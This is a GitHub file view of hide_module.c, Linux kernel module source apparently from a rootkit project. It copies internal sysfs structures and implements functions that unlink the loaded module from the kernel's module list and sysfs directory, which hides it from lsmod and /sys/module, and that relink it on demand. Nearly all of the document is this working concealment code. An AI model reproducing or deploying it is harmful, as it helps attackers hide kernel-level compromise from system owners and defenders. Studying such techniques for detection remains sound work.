-
Notifications
You must be signed in to change notification settings - Fork 12
/
hide_module.c
127 lines (102 loc) · 3.1 KB
/
hide_module.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/fs.h>
#include <linux/sysfs.h>
#include "sysmap.h" /* Pointers to system functions */
#include "global.h"
#include "hide_module.h"
static int hidden = 0;
/**
* Taken from fs/sysfs/sysfs.h
*/
struct sysfs_elem_dir {
struct kobject *kobj;
/* children list starts here and goes through sd->s_sibling */
struct sysfs_dirent *children;
};
struct sysfs_elem_symlink {
struct sysfs_dirent *target_sd;
};
struct sysfs_elem_attr {
struct attribute *attr;
struct sysfs_open_dirent *open;
};
struct sysfs_elem_bin_attr {
struct bin_attribute *bin_attr;
struct hlist_head buffers;
};
struct sysfs_inode_attrs {
struct iattr ia_iattr;
void *ia_secdata;
u32 ia_secdata_len;
};
struct sysfs_dirent {
atomic_t s_count;
atomic_t s_active;
struct sysfs_dirent *s_parent;
struct sysfs_dirent *s_sibling;
const char *s_name;
union {
struct sysfs_elem_dir s_dir;
struct sysfs_elem_symlink s_symlink;
struct sysfs_elem_attr s_attr;
struct sysfs_elem_bin_attr s_bin_attr;
};
unsigned int s_flags;
ino_t s_ino;
umode_t s_mode;
struct sysfs_inode_attrs *s_iattr;
};
static void sysfs_unlink_sibling(struct sysfs_dirent *sd)
{
struct sysfs_dirent **pos;
for (pos = &sd->s_parent->s_dir.children; *pos;
pos = &(*pos)->s_sibling) {
if (*pos == sd) {
*pos = sd->s_sibling;
sd->s_sibling = NULL;
break;
}
}
}
void remove_from_sysfs_list(void){
sysfs_unlink_sibling(THIS_MODULE->mkobj.kobj.sd);
}
void sysfs_link_sibling(struct sysfs_dirent *sd)
{
struct sysfs_dirent *parent_sd = sd->s_parent;
struct sysfs_dirent **pos;
BUG_ON(sd->s_sibling);
/* Store directory entries in order by ino. This allows
* readdir to properly restart without having to add a
* cursor into the s_dir.children list.
*/
for (pos = &parent_sd->s_dir.children; *pos; pos = &(*pos)->s_sibling) {
if (sd->s_ino < (*pos)->s_ino)
break;
}
sd->s_sibling = *pos;
*pos = sd;
}
void reinsert_to_sysfs_list(void){
sysfs_link_sibling(THIS_MODULE->mkobj.kobj.sd);
}
/*
* Hiding a module is basically just removing it from the list of modules
*/
void hide_module(void)
{
if(hidden == 1)
return;
list_del(&(THIS_MODULE->list));
remove_from_sysfs_list();
hidden = 1;
}
void unhide_module(void)
{
if(hidden == 0)
return;
list_add(&(THIS_MODULE->list), (struct list_head *) ptr_modules);
reinsert_to_sysfs_list();
hidden = 0;
}